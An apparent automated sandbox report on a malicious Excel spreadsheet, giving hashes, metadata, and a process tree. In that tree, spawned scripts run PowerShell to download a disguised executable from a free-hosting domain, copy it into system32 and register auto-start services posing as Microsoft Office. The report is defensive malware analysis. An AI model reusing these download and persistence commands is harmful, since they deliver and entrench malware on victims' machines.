File name: | CotizacionGASLP_2.xls |
Full analysis: | https://app.any.run/tasks/524e7c71-d6d7-47b3-a69f-ca9fc5ef7cd9 |
Verdict: | Malicious activity |
Analysis date: | April 24, 2019, 04:17:07 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Gear Capitan, Last Saved By: Pentesting, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Mar 8 07:16:16 2019, Last Saved Time/Date: Fri Mar 8 08:30:22 2019, Security: 0 |
MD5: | 11D675434F9AF160C74D43D9D2020EB9 |
SHA1: | F9D702DCE12B7FC6245F538C9CF7AFD0122C38E7 |
SHA256: | 0B842EBEB65D74BDFD4E0D04DD9DABB2D3DAC70E7F5471FB8FBABC60368B2868 |
SSDEEP: | 6144:DP+SKa85Y11//fs5cClfZw2gmVXqAMQO1WPz8aCLnhlO/QxexGFsiVjpLS:z12oRhYIV1S |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
Author: | Gear Capitan |
---|---|
LastModifiedBy: | Pentesting |
Software: | Microsoft Excel |
CreateDate: | 2019:03:08 07:16:16 |
ModifyDate: | 2019:03:08 08:30:22 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | START |
HeadingPairs: |
|
CompObjUserTypeLen: | 40 |
CompObjUserType: | Hoja de c?lculo de Microsoft Excel 2003 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2928 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
2956 | "C:\Windows\System32\WScript.exe" "C:\Users\Public\Af.vbs" | C:\Windows\System32\WScript.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
2316 | cmd /c ""C:\Users\Public\Af2.bat" " | C:\Windows\System32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2888 | powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://zeroratchet.000webhostapp.com/vbs.vbs','C:\Users\Public\vbs.vbs'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3904 | "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Af.bat | C:\Windows\System32\cmd.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 32 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2752 | powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://zeroratchet.000webhostapp.com/OfficeUpdate.jpg','C:\Users\Public\OfficeUpdate.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3092 | timeout 5 | C:\Windows\system32\timeout.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1872 | xcopy /b/v/y C:\Users\Public\OfficeUpdate.exe C:\Windows\system32\ | C:\Windows\system32\xcopy.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Extended Copy Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2736 | SC.exe Create "Microsoft_Officex" binpath= "C:\Windows\system32\OfficeUpdate.exe" type= "interact" type= "own" start= "auto" displayname= "Microsoft_Officex" | C:\Windows\system32\sc.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2948 | SC.exe Create "Microsoft_Office" binpath= "C:\Windows\SysWOW64\OfficeUpdate.exe" type= "interact" type= "own" start= "auto" displayname= "Microsoft_Office" | C:\Windows\system32\sc.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2928 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRFC0B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\91AM7O7XT0PSLTI4RDEU.temp | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab91B.tmp | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar91C.tmp | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab92D.tmp | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar92E.tmp | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Cab99C.tmp | — | |
MD5:— | SHA256:— | |||
2888 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Tar99D.tmp | — | |
MD5:— | SHA256:— | |||
2752 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1ORYEGM9SLIJ0EIQK314.temp | — | |
MD5:— | SHA256:— | |||
2752 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2888 | powershell.exe | GET | 200 | 93.184.221.240:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 55.6 Kb | whitelisted |
2888 | powershell.exe | GET | 200 | 93.184.221.240:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D1CC8D4F82A4.crt | US | der | 914 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2752 | powershell.exe | 145.14.144.66:443 | zeroratchet.000webhostapp.com | Hostinger International Limited | US | shared |
2888 | powershell.exe | 145.14.144.66:443 | zeroratchet.000webhostapp.com | Hostinger International Limited | US | shared |
2888 | powershell.exe | 93.184.221.240:80 | www.download.windowsupdate.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
zeroratchet.000webhostapp.com |
| shared |
www.download.windowsupdate.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Not Suspicious Traffic | ET INFO Observed Free Hosting Domain (*.000webhostapp .com in DNS Lookup) |
2888 | powershell.exe | Not Suspicious Traffic | ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com) |
2752 | powershell.exe | Not Suspicious Traffic | ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com) |